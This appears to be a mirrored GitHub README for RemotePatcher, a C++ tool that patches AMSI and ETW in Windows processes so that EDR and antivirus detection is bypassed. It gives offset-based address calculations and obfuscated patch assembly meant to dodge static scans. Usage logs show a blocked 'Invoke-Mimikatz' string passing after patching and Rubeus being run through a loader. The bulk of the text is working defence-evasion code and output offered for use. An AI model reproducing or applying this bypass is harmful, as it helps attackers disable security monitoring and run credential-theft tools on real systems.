Git Product home page Git Product logo

remotepatcher's Introduction

RemotePatcher

I found that some EDR like Cortex XDR would pick up C# implemetation of AMSI/ETW patch functions. Instead of obfuscating someone's codes, I decided to write a tinny program to do the same thing, as well as practice C++ programming skill.

A Little Twist

We could do a little twist to bypass static scan of AV.

Calculating memory address

Instead of getting the memory address of AMSIScanBuffer() and EtwEventWrite() directly, we could calculate it.

In amsi.dll, memory address of AMSIScanBuffer() is 0x1AF0 apart from DllRegisterServer()

void* dummyAddr = GetProcAddress(amsiDllHandle, "DllRegisterServer");
char* amsiAddr = (char*)dummyAddr + 6896;

In ntdll.dll, memory address of EtwEventWrite() is 0x15D0 apart from RtlSetLastWin32Error()

void* dummyAddr = GetProcAddress(ntDllHandle, "RtlSetLastWin32Error");
char* etwAddr = (char*)dummyAddr - 5584;

Remark: Tested on Windows 10 (Build 19043)

Obtaining assembly code

@RastaMouse's assembly code that commonly used

mov eax, 0x80070057
ret

Make a bit calucation but still do the same which return AMSI_RESULT_CLEAN

xor    eax,eax
add    eax,0x7dfdfe4e
add    eax,0x02090209
ret

Convert aeesmbly code to hex byte array here

Usage

cmd> .\RemotePatcher.exe -h
RemotePatcher
More info: https://github.com/Hagrid29/RemotePatcher/
Options:
  --exe "[cmd]" the program that will be executed and patched
  --pid [pid]   the process ID that will be patched
  -a            to NOT patch AMSI
  -e            to NOT patch ETW
  -l            to NOT load amsi.dll

Patch existing process

PS> "Invoke-Mimikatz"
At line:1 char:1
+ "Invoke-Mimikatz"
+ ~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS> $pid
9756
PS> .\RemotePatcher.exe --pid 9756 -l
[+] Patched etw!
[+] Patched amsi!
PS> "Invoke-Mimikatz"
Invoke-Mimikatz

Start a new program

CSLoader.exe is a C# binary of NetLoader with AMSI/ETW patch functions removed.

.\RemotePatcher.exe --exe ".\CSLoader.exe --path rubeus.txt --key mykey --args hash /password:aaa"
[+] Patched etw!
[+] Patched amsi!
[+] Decrypting using key 'mykey'
[+] PATH : ru.txt
[+] Arguments : hash /password:aaa
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


[*] Action: Calculate Password Hash(es)

[*] Input password             : aaa
[*]       rc4_hmac             : E24106942BF38BCF57A6A4B29016EFF6

[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!

References

remotepatcher's People

Contributors

hagrid29 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.